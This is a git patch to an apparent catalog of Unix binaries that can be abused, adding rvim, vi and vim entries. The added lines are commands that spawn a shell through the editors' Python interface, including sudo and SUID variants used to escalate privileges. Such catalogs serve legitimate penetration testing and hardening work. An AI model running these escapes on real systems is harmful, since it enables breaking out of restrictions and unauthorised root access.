From bd0cad04336b4fa265a3f20890c8ab63891f6439 Mon Sep 17 00:00:00 2001 From: Hugo DELVAL Date: Mon, 3 Dec 2018 14:06:41 +0100 Subject: [PATCH] Add vi(m) commands (#39) --- _gtfobins/rvim.md | 18 ++++++++++++++++++ _gtfobins/vi.md | 2 ++ _gtfobins/vim.md | 2 ++ 3 files changed, 22 insertions(+) create mode 100644 _gtfobins/rvim.md diff --git a/_gtfobins/rvim.md b/_gtfobins/rvim.md new file mode 100644 index 0000000..60faf0f --- /dev/null +++ b/_gtfobins/rvim.md @@ -0,0 +1,18 @@ +--- +description: 'From the manual: with rvim "It will not be possible to start shell commands".' +functions: + shell: + - code: rvim -c ':py import os;os.system("sh")' + file-write: + - code: | + rvim file_to_write + iDATA + ^[ + w + file-read: + - code: rvim file_to_read + suid: + - code: ./rvim -c ':py import os;os.system("sh")' + sudo: + - code: sudo rvim -c ':py import os;os.system("sh")' +--- diff --git a/_gtfobins/vi.md b/_gtfobins/vi.md index a032968..8c326f9 100644 --- a/_gtfobins/vi.md +++ b/_gtfobins/vi.md @@ -6,6 +6,7 @@ functions: vi :set shell=/bin/sh :shell + - code: vi -c ':py import os;os.system("sh")' file-write: - code: | vi file_to_write @@ -18,4 +19,5 @@ functions: - code: ./vi -c ':!/bin/sh -p' sudo: - code: sudo vi -c ':!/bin/sh' + - code: sudo vi -c ':py import os;os.system("sh")' --- diff --git a/_gtfobins/vim.md b/_gtfobins/vim.md index 23b6a63..523e613 100644 --- a/_gtfobins/vim.md +++ b/_gtfobins/vim.md @@ -6,6 +6,7 @@ functions: vim :set shell=/bin/sh :shell + - code: vim -c ':py import os;os.system("sh")' file-write: - code: | vim file_to_write @@ -18,4 +19,5 @@ functions: - code: ./vim -c ':!/bin/sh -p' sudo: - code: sudo vim -c ':!/bin/sh' + - code: sudo vim -c ':py import os;os.system("sh")' ---